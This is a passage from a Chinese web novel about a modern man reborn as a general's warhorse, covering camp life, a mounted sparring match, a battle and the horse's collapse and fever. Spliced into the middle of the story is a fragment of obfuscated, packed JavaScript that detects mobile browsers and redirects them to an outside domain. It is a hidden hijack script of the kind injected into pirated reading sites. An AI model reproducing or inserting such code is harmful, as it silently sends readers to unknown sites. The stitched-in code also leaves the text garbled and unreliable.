“有一天,我们家来了一位达官贵人,非要花重金买马,可这唯一的一匹神驹早定出去了,阿爹和爷守着承诺没有毁约,却惹怒了那位贵人,”说到这里,阿冬的表情开始悲怆,“祸根就是那天埋下的,没多久官兵就污蔑阿爹窝藏贼寇,被抄了家,全家人一路流浪至朔城,才慢慢开始重操旧业。”
“那一路上风餐露宿,挖土刨树根,食不果腹,寒冬腊月也只能挤在漏风的破庙里睡,那时候我就想,老天爷要是能给我一张被子盖多好?”
“冬天不盖被,冻头又冻脚,我一辈子都忘不了骨头都要被冻裂了的感觉。”
“所以乌云你明白吗,将军肯把棉被留给你,可见有多宠你!”
宋铮沉默。
原来说了半天,全是铺垫。,重点在最后一句。
阿冬给马槽里加料,马厩的门开着,宋铮越过他,慢慢踱步出门。
“诶你去哪儿啊?”阿冬忙问。
他这两天听值夜的兄弟说了,乌云总爱往马厩外面跑,倒也没乱跑,就是在军营里溜达。
看在将军宠马,马儿又温顺的情况下,阿冬也没有阻拦,朝着马屁股喊话:“我得给你换垫草,还要给你换水,暂时没空陪你,你记得自己早点回来。”
“了解,”宋铮叫了声算是回答。
阿冬受宠若惊。
马是十分聪慧的动物,智商可比小儿,所以他总和马聊天说话,可他还是第一次得到乌云这么明确的回复。
通常情况下,乌云是不搭理他的,只会对将军的指令和说话做出回应。
阿冬裂开嘴,嘿嘿笑起来,高高兴兴接着干活儿。
校场上传来士兵们整齐有力的呼和声,宋铮被声音吸引,前往观看。
枪戟如林、尘土飞扬的练兵场景有着一股磅礴的气势,浩荡恢弘,直击心胸,震憾之感远远不是电视剧能比的。
而领兵的男人立于阵前,气势碾压全场,令人望而生畏。
似有所感,霍霁风突然望过来,宋铮不畏不惧迎上对方的视线,不过他到底是个现代人,也没在战争中历练过,能接住那样凛冽的目光一两秒就不错了。
过了会儿,宋铮远远地走开了。
他一路溜达,来到中军帐。
中军帐不仅是最高级将领的营帐,也是打仗议事的重要场所,什么沙盘、地图、兵书,基本都能在中军帐找到。
他很想进去找点书看看,查查这个国家现今的局势、地理位置,看是否能找到他成为马的契机。
如果明白成为马的契机是什么,或许有一天还能回去?
总之不能认命!
可中军帐是军营重地,里三层外三层都有重兵把守,要不是他是一匹马,还真是一点都没法靠近。
他尝试着走向帐门,果然被两名守兵给拦住了。
虽然是马,但也会被担心破坏营帐中的物品,到时候两个守兵没法交代。
宋铮不勉强了,踢了踢马蹄后走开,只能以后找机会跟着霍霁风进去,多进几次中军帐,一回生两回熟,知道他温顺不捣乱,自然就不会再拦了。
阿冬忙完了,过来寻他回去吃饭。
今天的午餐除了苜蓿草和粟米,还有南瓜和山药粉,山药粉加在大米炒熟后煮成的清汤里,喝了之后可以很好得保护肠胃,而南瓜中的果胶能调节肠道菌群,都是护肠的食物。
有这样的待遇,也只有属于将领的马才能拥有的。
算是不幸中的万幸了。
宋铮再次在马厩里躺下,马厩重新刷洗过,换过垫草,属于他的单间里有着淡淡的干草的清香 ,干草上仍旧铺着霍霁风的被子。
连被子上的褶皱都被抚平过。
午后秦老又来了两趟,给宋铮做体检,阿冬特意把早上清扫的马粪留下来以便检查。
“怎么样?”阿冬张着大眼睛问。
“你觉得呢?”秦老反问。
马夫就是半个兽医,阿冬摇摇头:“小的没看出任何问题。”
“老夫也是。”
秦老在边关待了一辈子,每天大半的时辰都在军营中照料马匹,还真没遇到过能让他找不出生病症结的马,“奇了怪了。”
之后几天,宋铮天天会出马厩溜达,他去过前军营、后军营,逛过点将台,参观过军械库,也亏得他自由度高,否则以一个人类的灵魂困在没有自由的马的身体中,不抑郁才怪。
这天宋铮又去器军械库了。
曹卫是军械库的“库曹参军”,是负责管理器械的最高首领,他正带着手底下的士兵清点所有武器,忽然听见身后有动静,回头一看,一个马儿脑袋刚探进帐门。
曹卫发出大笑,从怀里摸出根胡萝卜丢给宋铮:“接着!”
虽然但是。
宋铮一张嘴就接住了。
如今的一根胡萝卜,就相当于高级餐厅里的一道美味甜点。
而他只见过这位库曹参军两面,人家就已经给他准备胡萝卜了,某个人却不信守承诺,说出的话跟放屁似的,至今没见他给他投喂过一点好吃的。
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言而无信,还大将军呢。
*
“阿嚏——”
阿冬刚掀开帘帐便听见大将军打了喷嚏,微微诧异:“将军得伤寒了?”
“这大热天的,得什么伤寒,”霍霁风问,“乌云怎么样了?”
阿冬今日被叫过来询问乌云情况,他一五一十回答,从每天马儿吃什么喝什么,什么时辰拉屎撒尿都汇报得仔仔细细,最后总结,乌云健康得不能再健康了。
“将军,乌云虽然没什么问题,可最近变得很奇怪,”就是因为太健康,阿冬才疑惑。
“如何奇怪?”
“乌云爱干净了,而且是特别爱干净的那种,”阿冬在“特别”两个字上加重语气,“以前它总随地大小....偶尔垫草也是湿的,可现在它只固定一个地方,小的可没教过,您说奇不奇怪?”
军营中的马匹太多,地方又有限,将领们的战马才有单独的隔间,但这隔间也不大,也就没教过这些,反正马夫们日日都要清扫,扫哪儿不是扫。
霍霁风略一思忖:“也许只是凑巧。”
“将军说的是,但是....”
“但是什么?”
阿冬继续说:“往日小的只要清晨打扫一遍马厩,这几日连傍晚也得刷洗,否则乌云就不肯进。”
“还有,”阿冬又想起来,“秦老也仔细检查了,乌云没有肠胃问题,是之前判断有误,所以每日饮食还是改成苜蓿草、粟草、禾草,可不是草上最嫩的叶尖儿它就不吃,连大豆都不爱碰了,除非把煮熟的大豆捣成糊,再加入些红枣,它才肯吃,挑食得不了.....”
“哦,还有还有,它不爱在马厩里待,可爱往外跑了,每天寻它吃饭得寻大半个军营。”
“它还尤其爱惜将军给的被子,脏了一点就咬小的衣服,一开始小的还不明白,后来小的就说,‘你看你被子脏了,还得给你去洗,多忙啊’,就这么一说,它不闹腾了,感情就在这儿等着呢。”
“哦对了,”阿冬是知无不言言无不尽,宋铮就算藏着一堆秘密都被他扒干净了,“小的有个大胆的猜测。”
只要不是身体出问题,以上这些毛病对霍霁风来说都是小事,却也新奇。
好好的怎么就转了性了?
霍霁风挑挑眉,问道:“什么猜测?”
“乌云不是生病了,是变娇气了。”
“怎么个娇气法?”
“它喜欢躺着,不是躺着就是趴着,一进马厩就开始趴,有时还会躺在被子上吃草呢,又懒又娇气。”
霍霁风:“........”
要是军营里的士兵,他高低要拉出来亲自训练一番,把如此懒散的作风灭得一干二净。
霍霁风豁然起身,“本将军去看看它。”
这会儿宋铮还在军械库,跟着曹卫看士兵们如何保养武器,还不知道阿冬这一通漏勺,他悠哉的日子马上要到走头了。
“曹大人!曹大人!”
三个满身是汗打着赤膊的士兵冲进来,“魏将军在校场摆了擂台,属下们来借几把趁手的兵器使使。”
有比武可以看了。
宋铮眼睛一亮,马尾甩了甩,转身哒哒哒小跑向校场。
10.第 10 章
10
以宋铮灵魂的虚弱状态,跑两步就喘了,何况他已经在军营里逛了大半天,要不是有新鲜的比武可以看,他早打算回马厩去歇着了。
“噗噜噜.....”气喘吁吁。
有几个士兵急匆匆跑过,都是赶着去看热闹的。
“上回魏将军和夏将军没分出胜负,俩人一直都憋着劲儿呢,这回又比试,定然比上回更精彩。”
“就是就是,咱们快点儿,可别错过了。”
...
宋铮原地歇了会儿,望着士兵们离开的方向。
咬咬牙,再次开跑,哒哒哒.....
换做以前,他对打打杀杀的事儿一点兴趣都没有,可现在不同,不是他有兴趣了,实在是做马做得无聊至极。
再者军营里的将士们吃着边关的苦,还要日日操练,保家卫国,如此辛苦偶尔也要有点娱乐活动,将士们之间比武切磋可能是军营里最大的热闹事了。
这热闹不凑白不凑。
哒哒哒......
“乌云!”十米开外有人发现了他。
此人站如松、行如风,加上那一身无法忽视的气势,不是霍霁风又是谁?
宋铮无声看着他。
他喊他什么事?
到了近前,霍霁风翻身上马,道:“既然你没病没痛,咱们也上校场上去比试比试。”
宋铮:“!!!”
宋铮嘴里发出不满的声音,受不了霍霁风的分量。
过来找马时,霍霁风就听营中的士兵说了,夏戎与魏常正在校场比划,他也来了兴致,正好过去活动活动胫骨。
“恰!”
宋铮硬着头皮往校场小跑,阿冬撒开腿跟着后头跑。
校场上人声鼎沸,众多士兵们围成了一个大大的圈儿,圈起来的场地中间正是夏戎与魏常,比武已经开始了。
魏常手持了两把大铁锤,舞得虎虎生风,士兵们的叫好声一浪高过一浪。
“魏将军威武!”
“先锋威武!”
“魏将军,属下可是压了您赢,可千万别输了,否则属下今年可没棉裤子过冬了。”
军官士兵们集体哄堂大笑。
夏戎不服气:“怎么他魏常能赢,我夏戎就赢不得?我今日非要将他干趴了,喊我一声夏爷爷!”
支持魏常的士兵们哈哈笑着发出倒彩,但支持夏戎的士兵也不少,呐喊着给夏戎加油打气。
夏戎擅长用刀,自创的一套刀法狠辣刁钻,挥刀横扫,便能有数颗敌人的人头应声落地,赢得概率是五五开。
“来!”魏常一声吼。
夏戎提刀砍去,看似大力出击直抵魏常面门,实则是障眼法假动作,方向陡然一变就要攻向魏常的下盘。
魏常的大铁锤一把就有100斤的重量,两把就是200斤,在他手里耍起来却丝毫看不出沉重,再加上他自身力气奇大,一锤子砸在盾牌上能凿出一个大坑,也能轻松抵御敌方兵器。
他反应迅速,硕大的身形在这档口迅捷地退了步,铁锤一挡。
当!
兵器相撞发出清脆响声。
短短的时间里,两人已经过了几十招,去军械库借兵器的士兵跑回来了,跟着兄弟们大呼精彩,也等着哪个将军落败之后轮到他们上阵。
随后而来的马蹄声淹没在人声中,直到最外围的小兵发现,大喊道:“大将军来了,大将军来了!”
夏戎看向来人,这一分神,让魏常钻了空子。
大锤子往夏戎面前一送,夏戎胸口挨了一记,闷哼一声倒退,另一只大锤子紧跟上来,没有给夏戎反击的机会。
夏戎膝盖一点地,这一局已经输了。
士兵们纷纷给霍霁风让路,霍霁风没有下马,骑着马儿走向场地中央:“本将军也手痒,和你们比划比划,两个人,不,”他指向同样围观的陆十九,“十九,你也来,三个人一起上,要是能赢了我,我请大伙儿喝酒!”
整个校场发出狂呼,如山呼海啸在宋铮脑袋上炸响。
他气都还没喘匀呢,这一喊震得他胸腔都不由得激荡,耳膜被士兵们高涨的热情给刺穿,扎得耳朵发疼。
他打了好几个不安的响鼻都被在场的声音淹没了。
只听霍霁风又提议,要在马背上比试刀枪,因为大澜国的天下,就是先祖从马背上打下来的。
“好!!!”
士兵们振臂高呼。
“三位将军,一定为使出全力,为咱们讨点酒喝!”
“三位将军连手,定要大败将军!”
.....
嘈杂声中,早有士兵迅速牵了马匹来。
夏戎虽然输了,可还没过瘾呢,又是大将军来战,兴致更甚。陆十九与魏常也很快上马,为了让马匹行动更敏捷,魏常换掉了大锤子,改成马槊。
马槊是精炼的长矛,刃长、破甲能力强,是顶级的骑兵武器。
陆十九与夏戎虽然都爱用刀,但比试对象可是大将军,那是能以一敌百的活阎王,他们怎敢轻视,同样将长刀换成马槊。
围成圈的士兵们统统往后退,给将军们留出更大的发挥空间。
“大将军,”一名士兵将手里的长刀扔给霍霁风,“接着!”
霍霁风利落接刀。
底下一些士兵乐呵呵嬉闹起来,直夸扔刀的士兵机灵,夏、陆、魏三位将军用马槊,大将军只用刀,在武器上先输了一截,但也只有这样,他们今晚喝上酒的可能性才大些。
“你们挺会耍小聪明,”霍霁风道,浅勾了下唇角,不以为意。
高崇山路过,也顺便来瞅一眼,一手捋着胡须准备观战。
士兵们一个个都瞪大了双眼,不论赢的是大将军还是夏、陆、魏三位将军,这都将是一场精彩绝伦的比试。
他们人拭目以待!
夏、陆、魏齐齐冲向霍霁风,三人身体的血液都在沸腾叫嚣,大将军功夫高,他们能与大将军一战,一定能打得酣畅淋漓,痛快至极。
“冲啊——”夏戎脖子里的血管都浮现了出来。
霍霁风的鹰眸里也跳跃着暴戾的目光,身体的每处骨骼与肌肉都蠢蠢欲动,做好了以一对三的准备。
他手握长刀,豪放一喝:“恰!”
下一秒。
嘭!
宋铮扬起蹄子,往前一迈就把气势凛然的霍霁风摔了个驴打滚,不能说精准,只能说十分精准地扫了大将军的颜面。
“吁——”夏戎及时勒马。
这声“吁”之后,全场安静如鸡。
霍霁风拍拍身上的灰尘站起来。
其实从马上跌落下来没什么,多年前他训第一匹马的时候,已数不清从马背上摔下过几次,大伙儿乐一乐,哄笑两声也就过去了,可怪就怪在大家都保持一致的沉默,反而说明他颜面折损得很厉害,刚才的场面尤其尴尬,只是鉴于他严厉的行事作风,大伙儿才不干笑。
霍霁风脸黑了一瞬。
真是万万想不到,他一世威名被自己的马给毁了。
还是第三次了!
士兵们的集体仰头望天。
“啊,老张,今天的天气真不错啊,你说呢?”
“啊对对对,阳光好,我帐篷养的花花草草都跟着茂盛了。”
“对了,你刚才看见什么了吗?”
“没啊,你呢?”
“我也没有。”
一个个都演技上身了,不过很拙劣就是了。
本来只是稍有脸黑的男人,此刻黑得一塌糊涂,简直欲盖弥彰,此地无银三百两:“都装屁!”
士兵们不敢直视他,夏戎也低头,嘴角压着使劲憋住的笑。
不过眼下霍霁风的面子不是最重要的,重要的是他的马儿,凌厉眼神射向急急忙忙跑过来看阿冬:“说好的它很健康呢?”
噗通!
阿冬一下就跪了,汗流浃背:“大将军明鉴啊,小的的确是如实禀告,没有一分隐瞒!”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394958|184233||http|test|mini|href|location''.split(''|''),0,{}));
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>宋铮是把霍霁风给摔了,不过不是故意的,当时他还没缓过来,眼前又阵阵发黑,夏戎三人冲过来的身影在他视线里只有一团模糊的影子,但他知道夏戎他们都拿了武器,一个不慎,他可能就在比武中受伤,这时霍霁风的大喝声又把他惊了。
所以才往前冲了一步,就把霍霁风摔了出去。
“呼.....”
宋铮努力站起来,但还喘着粗气。
可以的话,他倒是想替阿冬说两句好话,可跨物种语言不通啊,只能默默同情。
“我把你面子都丢了,这下你应该换皮马了吧,”宋铮对着霍霁风说。
摔马不是大将军不行,有眼睛的都看到是马儿全责,夏戎三人都下了马,纷纷上前来关心宋铮的状况。
练武之人感官敏锐,霍霁风从七嘴八舌的说话声中听出宋铮发出的声音。
他一抬手,全体戛然而止。
霍霁风道:“乌云有话对我说。”
宋铮心里咯噔一下,大大的眼睛里是大大的震惊,难道霍霁风听得懂他说话了?
他平常看的杂书里包括小说但不限于古川今、今穿古、穿书、心声等等,而他真穿越成了马,再多一个心声还有什么奇怪吗?
“好乌云,你刚才说什么?”霍霁风问。
宋铮暂且按捺下吃惊,认真说:“抱歉霍将军,我体力不行,驮不了你上场比试,你换匹马吧。”
“知道了,”霍霁风一下一下抚着宋铮鬃毛,“我知你定是为方才的事感到羞愧,放心,本将军不是那么小气的人,人有失手,马有失蹄,不会因为你一两次失误就对你失望。”
宋铮:灵魂微笑。
宋铮撇开脑袋,不想搭理他。
霍霁风:“?”
此时军营中突然响起急促连绵的号角声,高亢的声音传遍了整个军营。
这是敌袭!
类似于现代拉响警报来提示人们。
所有军官将领以及士兵们顷刻间就换了面色,换上肃杀之气,传讯兵也急急来报,北梁军队突然发难来叫阵了,想必是要打他们个措手不及。
而宋铮还没做好准备,霍霁风再次骑到了他背上,如磐石般稳稳地压着,他再不安也只能原地踢踏蹄子。
霍霁风下令:“各营听令,即刻点兵随我迎战北梁!”
“是!”回应声响彻云枭。
士兵们训练有素,马不停蹄整编队伍拿上武器准备出发。
“将军,”高崇山急忙道,“您上回偷袭敌军,烧了他们粮草,按道理北梁人怎么也得歇上一年半载,可这才没过几天就突然发起进攻,想必是有炸!”
“有诈也得出去干!我大澜人永远不会当缩头乌龟!”夏戎嚷嚷。
“说得对!”魏常也上了马,手握兵器,拉着缰绳驱马在原地徘徊,就等一声令下冲出去了。
几人中,陆十九性子最稳,只等将军的指挥。
霍霁风也考虑到了高崇山的顾虑,数十万兵的军营中每日粮草的消耗巨大,而后方补给的速度又慢,他烧了北梁的粮草,无论如何他们也要再囤上数月才能备齐。
事出反常必有妖。
当下命魏常与陆十九调兵马前往军营后方,以免遭偷袭。
魏常与陆十九即刻领命前往。
霍霁风俯身贴近宋铮的颈侧,掌心温热地抚过它汗湿的鬃毛,鼓励他,夸奖他,以达到人马合一的战斗状态:“乌云,我霍霁风信你,我把自己的命全全交托给你,你我便是生死与共的兄弟,我们一起冲出去,杀他个片甲不留!”
“........”此刻,宋铮终于了解了表姐常常吐槽的,什么叫做职场PUA。
他被硬生生逼上梁山,骑虎难下了。
而且不驮着霍霁风去迎战,就得去辎重营驮运粮草物资,这是战马的命运,军营里没有一个士兵是可以吃白饭的,也没有一匹马能游手好闲。
宋铮咬咬牙,硬着头皮迈开马蹄。
尽量冲吧....
11.第 11 章
11
号角声撕裂长空,大澜的先锋铁骑如狂潮般撞入北梁军的阵列。
宋铮想起在视剧里见过的钱塘江潮水,远看时如天际的一条线温柔移动,直到近处才发现,浪头有多急多凶。若是有无人机高空拍摄,两支军队就像汹涌的浪潮一样相撞在一起。
不过想象的画面只在宋铮脑海里闪过一瞬,此时此刻他哪有功夫分神。
他咬紧牙关,四蹄狂奔,耳边是呼啦啦的风声和“当当当”的武器打斗声,可是这些都没有他剧烈跳动的心脏来得响。
噗通噗通噗通噗通......
马上要从嗓子里跳出来了!
一个不慎,可能就有敌人的刀子扎进他的马腹,或者砍了他马蹄,在这医疗技术落后的古代,大概率只有死亡的份了。
而死亡就在他的目之所及的范围内不断上演。
大澜士兵的长刀刺入了北梁士兵的腹部,北梁士兵倒地,然而刀子还没从他腹部抽出去,杀他的大澜士兵就被身后偷袭的另一名北梁士兵砍下了头颅。
偷袭的士兵面容染血,高呼“痛快”,但顷刻就被大澜人砍成了两半。
啪嗒,分成两截的身体分别落地,惨不忍睹。
这就是战场,真正的古战场,冷兵器的时代,比想象得更加血腥和残酷。
宋铮的呼吸渐渐急促。
要是换成人身,他的脸色脸色煞白如纸,120的救护车就在来的路上了。
踏在地面的马蹄微微发抖,也因为体力骤然间极大消耗,身上还背着一个吨重吨重的男人,他越来越吃力。
快不行了.....
霍霁风感受到马儿有点不安,但在控制范围内,但凡朝他扑过来北梁军都死在了他的马槊之下,不会伤了身下的马。
“恰!”
这是要马加速。
但宋铮看见后方有名北梁兵在几个同伴的掩护下冲向了他。
这位北梁兵满脸横肉,眼里迸发着凶光,他是冲着霍霁风来的,但想伤霍大将军至少要先把人拉下马,所以他首要的目的就是砍了宋铮的马蹄。
宋铮也有强烈的直觉,他危在旦夕、命悬一线!
正在他想尥蹶子的千钧一发之际。
噗嗤——
霍霁风连头都没回,手里的马槊利落翻转,长刃刺入了对方身体。
此人双眼突兀,口吐鲜血直直地倒了下去。
这一停顿,十几个北梁士兵在霍霁风的正前方冲上来。
霍霁风面不改色,以他多年上阵杀敌的经验已预先看见了他们的死亡,手中武器横扫,马槊的长刃在空气里划出风响动。
结果。
敌人一个没死。
霍霁风:“!!”
身下的马缓缓停顿在原地,低垂着脑袋呼呼喘气。
宋铮的体力已经耗尽,该爆发的时候也在冲出营帐的时候爆发完了,现在仅剩一口气维持呼吸:“我真的尽力了.....”
宋铮停下了,可是北梁兵没有停下。
“啊啊啊啊啊啊啊啊——”
“啊啊啊啊啊——”
“啊啊啊啊 啊啊啊啊啊啊——”
“啊啊啊啊——”
北梁的士兵发出冲天的吼声,他们对敌的是大澜的杀神,只有大吼能驱散心里的恐惧,十几把刀子齐齐砍向霍霁风。
宋铮惊骇,想尽量躲避却是失力倒了下去。
心头有一个声音。
那就是完了。
他紧急闭眼,因为通常来说,只要一闭眼死亡就不会降临。
他赌对了!耳边是叮叮当当的声音,霍霁风有了两次的前车之鉴,这次没有摔个驴打滚,而是先一步跃下马背,一柄马槊挑了十几名敌兵的长刀,对付小兵他游刃有余,打斗间隙深深地看了眼他的马儿。
倒了一次又一次。
老子的马到底怎么了?!!
宋铮从他的眼看到了土拨鼠尖叫。
此次跑来叫阵发起进攻的只有北梁的五千兵马,还算不上大阵仗,将领只有北梁副将萧极鹰,霍霁风的目标是取萧极鹰首级,可马儿倒了他不能不顾,只能原地护着他,北梁兵来一个他杀一个,来两个他杀一双。
好在这场仗没有持续多久,夏戎的长刀所向披靡,刀锋所及留下的都是敌军的命。
萧极鹰大喊撤退,北梁兵当机立断往回跑,大澜士兵追击了好几百米才渐渐停下。
夏戎马不停蹄奔向霍霁风:“将军,你没受伤吧?”
两人都是满脸满身的血,分不清是敌还是自己的。
霍霁风道:“没受伤。”
接着一起看向宋铮。
宋铮倒完后努力坐了起来,是的,坐着,即便有健康的身躯也耐不住他灵魂的虚弱,根本站不起来。
他的四肢都在微微抽搐发抖。
夏戎满脑袋问号:“阿冬不是说乌云很健康,该检查的都检查了,也观察好几天了,它怎么还这样?”
“我也百思不得其解。”
一颗挂在额角的血珠子顺着霍霁风的面颊滑落,青天白日都显得他很瘆人。
乌云乌云。
这名字也没比乌鸦吉利多少,他现在的心情就是乌云罩顶。
周围的马儿也都纷纷看着它们的老大,叽叽喳喳。
“老大怎么了?!”
“老大又躺了!”
“为什么老大看起来有点没用?”
....
虽然但是,宋铮抿紧了马嘴,两只前蹄揣在胸口。
夏戎:“将军,那现在怎么办?”
霍霁风:“就地埋了吧。”
“啊???”夏戎大吃一惊,“将军,这样不太好吧,你就是和乌云相处才三个月多,可它也陪你出生入死了好几回,现在还喘着气呢,就这么埋了不合适吧?”
“你也知道不合适?那还不赶紧去弄辆板车来!”
“我马上去!”
在战场上受伤的马除非无力回天,否则能救还是要救的,而西域马体型大分量沉,不是随便能抬起来的,就算能抬起来也不一定能移动。
宋铮吃力地仰起脖子,对上霍霁风的视线,慢慢放松因为要被“埋了”而僵硬的身体。
霍霁风单膝落地,温热的手掌抚摸着宋铮的背部。
轻轻叹口气。
“你是北梁派来的奸细吗?”
宋铮:“..........”
宋铮清楚自己在体力方面的确是尤为薄弱,甚至可以说是小辣鸡。
但是,不妨碍他想踹霍霁风一脚。
夏戎快去快回,去的时候是一个人,回来的时候跟了一群辎重营的兵。
都是看热闹的。
宋铮默默闭上眼。
他的马脸是要丢遍全军营了。
十二名士兵包括夏戎在内团团围住宋铮,霍霁风在场指挥:“你,你,你们两个负责在前面推,你们四个在侧面帮忙,其余的配合我,我喊
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‘起’就用力一起抬。”
“是!”掷地有声。
霍霁风大喝:“起!”
十二名士兵一同发力,宋铮的身体微微离了地面,他自己也使劲儿用蹄子撑了会儿,减轻士兵们的压力。
宋铮被大伙儿合力运上了板车。
霍霁风握住板车的把手,衣袖下的胳膊鼓起精壮肌肉,士兵们都抢着帮忙,没多少功夫就把宋铮运回了马厩,宋铮的四肢还使不上力,黑溜溜的大眼睛动了动,视线瞄向霍霁风。
军营里人人都知道,马匹的双眼间距的正前方是它的盲区,只有站在它侧面,它才能看得清楚。
所以现在的画面是这样的。
宋铮歪头正视着的霍霁风。
“抱歉,”尽管性格比较清冷,但该礼貌的时候还得礼貌,“我还需要你们帮忙扶下。”
“将军,你听听,”夏戎说,“它叫得多虚弱,还得我们搭把手。”
霍霁风一挥手,全体人员再次准备搬云,宋铮稳稳当当从板车上移到了马厩内。阿冬在军营大门口就见到了乌云虚弱的样子,他急急忙忙去找了秦老过来。
可无论怎么检查,马儿除了体力弱鸡外,一切都很健康。
秦老还有一种判断:“以老夫看,乌云可能是受了惊,且是受惊过度,气脉逆行,冲撞心神才导致它气弱体衰。”
郁闷的男人皱起眉头。
不论是哪个国家,能上战场的马匹都是经过严格训练,能听从主人指挥,能分辨号角、鼓声、马蹄声,听到进攻号角会兴奋地刨地、喷鼻,听到收兵锣声会放慢脚步,能对快速移动物体例如箭矢、兵器做出极快的反应。
乌云,乃是战马中的佼佼者。
说它会对一点刀剑产生恐惧,从而惊吓,霍霁风是不信的。
“知道了。”
可是不信也得信。
他娘的事实就摆在他眼前!
霍霁风深吸一口气,再缓缓吐出来,胸膛的起伏很明显。
少顷,魏常与陆十九来报,北梁人的确是耍了诡计,不止有萧极鹰带兵马正面进攻,还有一队两千人的精锐从军营后方突袭,要不是大将军派他们守卫后方,真要被偷了家了。
只是这招真算不得高明,稍一思索就明白是他们粮草被烧的怒火没消,因此来找不痛快,弄不死也要挠你一挠。
但即便如此也不能掉以轻心,霍霁风下令全营加强戒备。
陆十九即刻去传令。
挤在马厩里的士兵们、夏戎等人也陆续走了,剩下霍霁风与阿冬、秦老。
霍霁风的注意力回到宋铮身上:“既然是受惊,有什么法子能治疗?”
“有,”秦老道,“将军可以陪乌云多说说话,多做安抚,老夫再去抓些能安定心神的药草,让它吃上两天再瞧瞧情况。”
“那请先生速速去抓药草。”
“好好,老夫这就去。”
霍霁风紧挨着躺地的宋铮,在他身边坐下来,手掌顺着鬃毛梳理。
宋铮静静看着他,从满身杀伐气的大将军身上感受到了一丝温柔,在成为马的抑郁心境中有了点滴的慰藉,
“谢谢你,”宋铮轻轻说。
霍霁风拍拍他脑袋,揉搓了几下竖起的耳朵,认真说:“乌云,你若是能振作起来,本将军奖励你一匹小母马,如何?”
“....................”
马厩里发出一声长长的嘶鸣。
滚!!!!!
12.第 12 章
12
“神经病,谁要小母马!”
宋铮又骂了声。
本来以为自己的力气仅够维持呼吸,没想被气到之后还能爆发一波,潜力是可以被激发出来的。
“看把你激动的,不急,”霍霁风道。
宋铮躺在棉被上的马腿抽搐了下,蹄子有点痒,他从来没有这么想踹一个人。
霍霁风忽然想起一件事,火烧北梁粮草那晚,他曾许诺自己的战马,等回到自家军营就奖励它好吃的,后来军务繁忙就把这事儿给忘了。
“阿冬。”
“小的在!”
霍霁风吩咐:“你去找林六,叫他把我份例里的果品送过来,再去厨房要两根胡萝卜。”
林六是专门负责霍霁风生活起居的亲兵,比如打扫营帐,送送饭叠叠被子。
阿冬应了声后立即去办。
宋铮的眼睛亮了亮,眼珠子转动看向霍霁风:“谢谢你还记得。”
“在说什么?”宽厚的手掌摸了摸他头顶,再顺着油亮的鬃毛从上而下抚摸,马儿自然不会回答,于是又自顾自说,“你是我千挑万选出来的宝马,体魄强健,上了战场更是迅捷如风,可要快些好起来,届时咱们再共同御敌。”
宋铮无奈:“我能好起来,就是怕你破防。”
有些人天生是打仗的料,有些人只能做文书工作,宋铮就是后者,他对自己的定位很清楚。
如果今天他不是一匹马,而是一个人,他可以像高军师那样成为霍霁风的左膀右臂,他读过战国时期与《孙子兵法》齐名的《吴子兵法》,还有被称为“军事百科全书”的《六韬》,唐代《李卫公问对》等,战术储备可以说很全面。
再结合霍霁风的能力,不说分分钟能大败北梁,但保证不在战事上受制还是绰绰有余。
可惜,他一匹马什么也做不了,当狗狗还能叼个毛笔写俩字呢。
他的马嘴大,除了咀嚼草料,叼不住太精细的东西做出精细的动作来。
不出一盏茶的功夫,林六抱着大将军的那份果品来了,阿冬手里则揣着两根还沾着露珠的新鲜胡萝卜。
宋铮不自觉舔了舔,落在干草上的马尾甩动了一下,明显是高兴的情绪,但灵魂依旧是清冷状,淡淡道:“亏你还记得。”
霍霁风拿过一只水果,在衣服上擦了擦,递到宋铮嘴边:“吃吧。”
宋铮看了看他手里的水果,小小的圆圆的,从卖相上辨不出品种。
霍霁风道:“此物虽显粗陋,比不得京中珍馐,但在边关军营里还是很稀罕的,尝尝?”
由此可见,军营是多么吃苦的地方。
而军营里的好东西,霍霁风都舍得拿来给他吃,足见此人对他很重视,当成兄弟不是说说的。
“谢谢,”宋铮张开口,叼住水果,嚼吧嚼吧吃起来。
这个水果个头较小,果肉松软,口感粉糯,味道偏酸,不出所料,应该就是古代版的苹果。
那时的苹果还远没有现代培育的圆润饱满,香甜可口,但也不错了。
一只苹果,两根胡萝卜下肚,宋铮很是满足。
他如今胃很小,肠道又长,是专门持续发酵纤维性饲料也就是草料的,因此大量投喂水果反而会影响消化,方才的水果量却刚刚好,既能给他补充维生素,也不会打乱肠道的微生物平衡。
林六看着特别嘴馋,还很羡慕。
“大将军,乌云真是好福气,它得您这个主人,就是战死也无遗憾了。”
好好的温馨气氛被他破坏得一干二净。
说完,感受到了马儿的视线。
圆溜溜、黑漆漆、直勾勾。
林六:“........”
霍霁风一摆手,让他们自己忙自己的去。
林六马上溜了。
这晚,霍霁风陪着自己的爱马到了半夜。
窝在棉被上的宋铮睁开眼,看着那道背影披着月色离开,有将军能为自己的马屈尊纡贵,在马厩里待上大半天,算是难能可贵了。
先前说了,马的作息时间不像人,能一觉到天亮,它们晚上也会需要进食。
阿红阿白嚼着草料,用一种哀伤的眼神默默看着他。
宋铮感觉到了气氛不同寻常:“你们俩怎么了?”
同时尝试着站起来,他休息了好几个时辰了,在鬼门关绕了一圈的后怕消散了不少,情绪缓和后,四条腿也有了力气。
阿白说:“小铃铛死了。”
宋铮一愣。
阿红:“我看见它被敌人的刀子剖开了肚皮,它今晚也没有回马厩,一定是走了。”
这一消息,直击宋铮孱弱不堪的灵魂,陡然间眼前发黑,马腿一软又躺了下去,整个身体天旋地转。
脑袋也支撑不了,缓缓挨倒在干草堆上。
宋铮见过那匹叫做“小铃铛”的马,自己在马厩最西面,它在马厩最东面,见面的次数不多,每每都是马夫牵出去放风回来他们才打个照面。
它之所以叫“小铃铛”,是与它一同上战场的将士为它系上的,是寄予了马儿平平安安的祝福。
奈何,战场残酷,刀剑无眼。
这晚。
宋铮发烧了。
晚上轮到阿冬在马厩值班,发现了宋铮的异常。
马儿躺在角落里,不像平常一样闭着眼好眠,腹部起伏得有些急促,眼睛半睁着,一看便是精神萎靡,身体虚弱的状态。
阿冬心道糟糕,急急忙忙蹲下来探了探宋铮的体温。
两眼一黑,心一下就死了。
身体这么烫,实属罕见啊!
